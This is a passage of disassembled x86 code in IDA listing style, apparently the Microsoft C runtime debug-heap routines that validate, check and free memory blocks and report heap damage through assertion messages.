		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_416900
		add	esp, 4
		test	eax, eax
		jnz	short loc_415D99
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	414h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415D99
		int	3		; Trap to Debugger


loc_415D99:				; CODE XREF: sub_415CD0+A6j
					; sub_415CD0+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415D68
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_4], ecx


loc_415DA8:				; CODE XREF: sub_415CD0+12Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_415DFB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_415DFB
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_415DFB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_415DFB
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	41Ah
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415DFB
		int	3		; Trap to Debugger


loc_415DFB:				; CODE XREF: sub_415CD0+E6j
					; sub_415CD0+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415DA8
		mov	eax, dword_444E70
		and	eax, 4
		test	eax, eax
		jnz	loc_415ED6
		push	4
		mov	cl, byte_444E7C
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 1Ch
		push	edx
		call	sub_416390
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415E70


loc_415E2D:				; CODE XREF: sub_415CD0+19Ej
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_444E80[ecx*4]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_415E6A
		int	3		; Trap to Debugger


loc_415E6A:				; CODE XREF: sub_415CD0+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415E2D


loc_415E70:				; CODE XREF: sub_415CD0+15Bj
		push	4
		mov	cl, byte_444E7C
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_416390
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415ED6


loc_415E93:				; CODE XREF: sub_415CD0+204j
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_444E80[ecx*4]
		push	edx
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_415ED0
		int	3		; Trap to Debugger


loc_415ED0:				; CODE XREF: sub_415CD0+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415E93


loc_415ED6:				; CODE XREF: sub_415CD0+13Bj
					; sub_415CD0+1C1j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_415F4B


loc_415EDF:				; CODE XREF: sub_415CD0+249j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_415EF4
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_415F15


loc_415EF4:				; CODE XREF: sub_415CD0+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0
		push	42Fh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415F15
		int	3		; Trap to Debugger


loc_415F15:				; CODE XREF: sub_415CD0+222j
					; sub_415CD0+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415EDF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_444E7D
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_417700
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41C6D0
		add	esp, 4
		jmp	loc_4160B5
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: sub_415CD0+20Dj
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_415F61
		cmp	[ebp+arg_4], 1
		jnz	short loc_415F61
		mov	[ebp+arg_4], 2


loc_415F61:				; CODE XREF: sub_415CD0+282j
					; sub_415CD0+288j ...
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_415F8D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	43Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415F8D
		int	3		; Trap to Debugger


loc_415F8D:				; CODE XREF: sub_415CD0+29Aj
					; sub_415CD0+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415F61
		mov	edx, [ebp+var_4]
		mov	eax, dword_4DDF78
		sub	eax, [edx+10h]
		mov	dword_4DDF78, eax
		mov	ecx, dword_444E70
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_41608C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_415FCC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_41600A
; ---------------------------------------------------------------------------


loc_415FCC:				; CODE XREF: sub_415CD0+2EAj
					; sub_415CD0+32Cj
		mov	ecx, dword_4DDF6C
		cmp	ecx, [ebp+var_4]
		jz	short loc_415FF8
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0
		push	44Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415FF8
		int	3		; Trap to Debugger


loc_415FF8:				; CODE XREF: sub_415CD0+305j
					; sub_415CD0+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415FCC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	dword_4DDF6C, ecx


loc_41600A:				; CODE XREF: sub_415CD0+2FAj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jz	short loc_416022
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_41605F
; ---------------------------------------------------------------------------


loc_416022:				; CODE XREF: sub_415CD0+341j
					; sub_415CD0+382j
		mov	ecx, dword_4DDF74
		cmp	ecx, [ebp+var_4]
		jz	short loc_41604E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0
		push	455h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41604E
		int	3		; Trap to Debugger


loc_41604E:				; CODE XREF: sub_415CD0+35Bj
					; sub_415CD0+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416022
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	dword_4DDF74, ecx


loc_41605F:				; CODE XREF: sub_415CD0+350j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_444E7D
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_417700
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41C6D0
		add	esp, 4
		jmp	short loc_4160B5
; ---------------------------------------------------------------------------


loc_41608C:				; CODE XREF: sub_415CD0+2DEj
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		xor	ecx, ecx
		mov	cl, byte_444E7D
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	sub_417700
		add	esp, 0Ch


loc_4160B5:				; CODE XREF: sub_415CD0+49j
					; sub_415CD0+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415CD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_4160E0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160E0	proc near		; CODE XREF: .data:004160C9p
					; sub_419EA0+11p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041625C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4348C0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_444E70
		and	eax, 4
		test	eax, eax
		jz	short loc_41613F


loc_41610F:				; CODE XREF: sub_4160E0+5Dj
		call	sub_416420
		test	eax, eax
		jnz	short loc_416139
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	49Dh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416139
		int	3		; Trap to Debugger


loc_416139:				; CODE XREF: sub_4160E0+36j
					; sub_4160E0+56j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41610F


loc_41613F:				; CODE XREF: sub_4160E0+2Dj
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0


loc_416150:				; CODE XREF: sub_4160E0+A5j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_416900
		add	esp, 4
		test	eax, eax
		jnz	short loc_416181
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	4A9h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416181
		int	3		; Trap to Debugger


loc_416181:				; CODE XREF: sub_4160E0+7Ej
					; sub_4160E0+9Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416150
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_20], ecx


loc_416190:				; CODE XREF: sub_4160E0+107j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_4161E3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_4161E3
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_4161E3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_4161E3
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4AFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4161E3
		int	3		; Trap to Debugger


loc_4161E3:				; CODE XREF: sub_4160E0+BEj
					; sub_4160E0+C7j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416190
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_4161FF
		cmp	[ebp+arg_4], 1
		jnz	short loc_4161FF
		mov	[ebp+arg_4], 2


loc_4161FF:				; CODE XREF: sub_4160E0+110j
					; sub_4160E0+116j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41623A


loc_416208:				; CODE XREF: sub_4160E0+158j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_416234
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	4B6h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416234
		int	3		; Trap to Debugger


loc_416234:				; CODE XREF: sub_4160E0+131j
					; sub_4160E0+151j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416208


loc_41623A:				; CODE XREF: sub_4160E0+126j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_416251
		jmp	short loc_41625C
sub_4160E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416251	proc near		; CODE XREF: sub_4160E0+16Ap
					; DATA XREF: .data:004348C8o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_416251	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4160E0


loc_41625C:				; CODE XREF: sub_4160E0+16Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4160E0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_444E78
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_444E78, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4348D0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		push	eax
		call	sub_416900
		add	esp, 4
		test	eax, eax
		jz	short loc_41633F
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-1Ch], ecx


loc_4162DD:				; CODE XREF: .data:00416334j
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_416330
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_416330
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_416330
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_416330
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4FFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_416330
		int	3		; Trap to Debugger


loc_416330:				; CODE XREF: .data:004162EBj
					; .data:004162F4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4162DD
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp+0Ch]
		mov	[eax+14h], ecx


loc_41633F:				; CODE XREF: .data:004162D2j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41634D
		jmp	short loc_416358

; =============== S U B	R O U T	I N E =======================================



sub_41634D	proc near		; CODE XREF: .data:00416346p
					; DATA XREF: .data:004348D8o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41634D	endp

; ---------------------------------------------------------------------------


loc_416358:				; CODE XREF: .data:0041634Bj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_445240
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_445240, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416390	proc near		; CODE XREF: sub_415CD0+151p
					; sub_415CD0+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1


loc_41639E:				; CODE XREF: sub_416390:loc_41640Cj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_41640E
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	eax, ecx
		jz	short loc_41640C


loc_4163CB:				; CODE XREF: sub_416390+73j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx-1]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		push	eax
		push	offset aMemoryCheckErr ; "memory check error at	0x%08X = 0x%02X, "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4163FF
		int	3		; Trap to Debugger


loc_4163FF:				; CODE XREF: sub_416390+6Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4163CB
		mov	[ebp+var_4], 0


loc_41640C:				; CODE XREF: sub_416390+39j
		jmp	short loc_41639E
; ---------------------------------------------------------------------------


loc_41640E:				; CODE XREF: sub_416390+1Cj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416420	proc near		; CODE XREF: sub_4151D0:loc_4151ECp
					; sub_415640:loc_4156A2p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004167A0 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434A58
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_444E70
		and	eax, 1
		test	eax, eax
		jnz	short loc_416459
		mov	eax, 1
		jmp	loc_4167A3
; ---------------------------------------------------------------------------


loc_416459:				; CODE XREF: sub_416420+2Dj
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		call	sub_41C820
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	loc_41657E
		cmp	[ebp+var_24], 0FFFFFFFEh
		jz	loc_41657E
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		add	edx, 6
		mov	[ebp+var_30], edx
		cmp	[ebp+var_30], 3
		ja	loc_41654C
		mov	eax, [ebp+var_30]
		jmp	off_4167B4[eax*4]


loc_4164A9:				; CODE XREF: sub_416420+ADj
					; DATA XREF: .data:004167C0o
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4164C9
		int	3		; Trap to Debugger


loc_4164C9:				; CODE XREF: sub_416420+A6j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4164A9
		jmp	loc_416572
; ---------------------------------------------------------------------------


loc_4164D4:				; CODE XREF: sub_416420+82j
					; sub_416420+D8j
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4164F4
		int	3		; Trap to Debugger


loc_4164F4:				; CODE XREF: sub_416420+D1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4164D4
		jmp	short loc_416572
; ---------------------------------------------------------------------------


loc_4164FC:				; CODE XREF: sub_416420+82j
					; sub_416420+100j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41651C
		int	3		; Trap to Debugger


loc_41651C:				; CODE XREF: sub_416420+F9j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4164FC
		jmp	short loc_416572
; ---------------------------------------------------------------------------


loc_416524:				; CODE XREF: sub_416420+82j
					; sub_416420+128j
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_416544
		int	3		; Trap to Debugger


loc_416544:				; CODE XREF: sub_416420+121j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416524
		jmp	short loc_416572
; ---------------------------------------------------------------------------


loc_41654C:				; CODE XREF: sub_416420+79j
					; sub_416420+150j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41656C
		int	3		; Trap to Debugger


loc_41656C:				; CODE XREF: sub_416420+149j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41654C


loc_416572:				; CODE XREF: sub_416420+AFj
					; sub_416420+DAj ...
		mov	[ebp+var_1C], 0
		jmp	loc_416787
; ---------------------------------------------------------------------------


loc_41657E:				; CODE XREF: sub_416420+56j
					; sub_416420+60j
		mov	[ebp+var_1C], 1
		mov	eax, dword_4DDF74
		mov	[ebp+var_20], eax
		jmp	short loc_416597
; ---------------------------------------------------------------------------


loc_41658F:				; CODE XREF: sub_416420:loc_416782j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx


loc_416597:				; CODE XREF: sub_416420+16Dj
		cmp	[ebp+var_20], 0
		jz	loc_416787
		mov	[ebp+var_28], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_4165DC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_4165DC
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_4165DC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_4165F4


loc_4165DC:				; CODE XREF: sub_416420+197j
					; sub_416420+1A0j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_444E80[ecx*4]
		mov	[ebp+var_2C], edx
		jmp	short loc_4165FB
; ---------------------------------------------------------------------------


loc_4165F4:				; CODE XREF: sub_416420+1BAj
		mov	[ebp+var_2C], offset aDamaged ;	"DAMAGED"


loc_4165FB:				; CODE XREF: sub_416420+1D2j
		push	4
		mov	al, byte_444E7C
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1Ch
		push	ecx
		call	sub_416390
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416650


loc_416616:				; CODE XREF: sub_416420+227j
		mov	edx, [ebp+var_20]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416643
		int	3		; Trap to Debugger


loc_416643:				; CODE XREF: sub_416420+220j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416616
		mov	[ebp+var_28], 0


loc_416650:				; CODE XREF: sub_416420+1F4j
		push	4
		mov	cl, byte_444E7C
		push	ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_20]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_416390
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4166AD


loc_416673:				; CODE XREF: sub_416420+284j
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4166A0
		int	3		; Trap to Debugger


loc_4166A0:				; CODE XREF: sub_416420+27Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_416673
		mov	[ebp+var_28], 0


loc_4166AD:				; CODE XREF: sub_416420+251j
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_416706
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_444E7D
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		call	sub_416390
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416706


loc_4166D7:				; CODE XREF: sub_416420+2DDj
		mov	ecx, [ebp+var_20]
		add	ecx, 20h
		push	ecx
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4166F9
		int	3		; Trap to Debugger


loc_4166F9:				; CODE XREF: sub_416420+2D6j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4166D7
		mov	[ebp+var_28], 0


loc_416706:				; CODE XREF: sub_416420+294j
					; sub_416420+2B5j
		cmp	[ebp+var_28], 0
		jnz	short loc_416782
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+8], 0
		jz	short loc_416748


loc_416715:				; CODE XREF: sub_416420+326j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416742
		int	3		; Trap to Debugger


loc_416742:				; CODE XREF: sub_416420+31Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_416715


loc_416748:				; CODE XREF: sub_416420+2F3j
					; sub_416420+359j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_416775
		int	3		; Trap to Debugger


loc_416775:				; CODE XREF: sub_416420+352j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_416748
		mov	[ebp+var_1C], 0


loc_416782:				; CODE XREF: sub_416420+2EAj
		jmp	loc_41658F
; ---------------------------------------------------------------------------


loc_416787:				; CODE XREF: sub_416420+159j
					; sub_416420+17Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_416795
		jmp	short loc_4167A0
sub_416420	endp


; =============== S U B	R O U T	I N E =======================================



sub_416795	proc near		; CODE XREF: sub_416420+36Ep
					; DATA XREF: .data:00434A60o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_416795	endp

